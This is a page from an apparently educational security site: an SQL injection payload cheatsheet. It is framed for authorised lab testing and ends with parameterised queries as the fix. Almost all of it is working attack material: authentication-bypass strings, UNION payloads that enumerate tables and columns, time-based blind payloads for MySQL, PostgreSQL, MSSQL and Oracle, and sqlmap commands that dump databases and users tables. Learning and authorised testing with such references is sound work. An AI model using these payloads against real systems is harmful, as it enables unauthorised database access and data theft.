Cybersecurity-Mastery

Home › Cheatsheets › SQL Injection Payload Cheatsheet

SQL Injection Payload Cheatsheet

Per-DBMS syntax, detection strings and extraction techniques. Printable: use your browser's Print → Save as PDF.

Domain: Web Security · Last updated 2026-08-12

Quick reference

This cheatsheet is a fast recall aid, not a tutorial — learn the concepts in the Manual, then keep this beside you while you work.

For authorised testing against your own labs (bWAPP/DVWA/Juice Shop) only.

Detection

' · " · ') · '; · ' OR '1'='1 · " OR ""=" · 1) OR (1=1

Auth bypass

text
admin'--
admin'#
' OR 1=1-- -
' OR 'x'='x'-- -
") OR ("1"="1

UNION-based

text
' ORDER BY 5-- -                     # find column count
' UNION SELECT NULL,NULL,NULL-- -    # match columns
' UNION SELECT 1,@@version,3-- -     # reflect a value
' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -

Blind — boolean & time

DBMSTime payload
MySQL' AND SLEEP(5)-- - / ' OR IF(1=1,SLEEP(5),0)-- -
PostgreSQL'; SELECT pg_sleep(5)-- -
MSSQL'; WAITFOR DELAY '0:0:5'-- -
Oracle' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

Useful strings by DBMS

VersionCurrent DB/user
MySQL@@versiondatabase() / current_user()
PostgreSQLversion()current_database() / current_user
MSSQL@@versionDB_NAME() / SYSTEM_USER

Automation

bash
sqlmap -u 'http://TARGET/item?id=1' --batch --dbs
sqlmap -u 'http://TARGET/item?id=1' --batch -D db -T users --dump
sqlmap -r request.txt --batch --level 5 --risk 3

Fix: parameterised queries. Everything above fails against bound parameters.

Cybersecurity-Mastery — interactive security learning · runs locally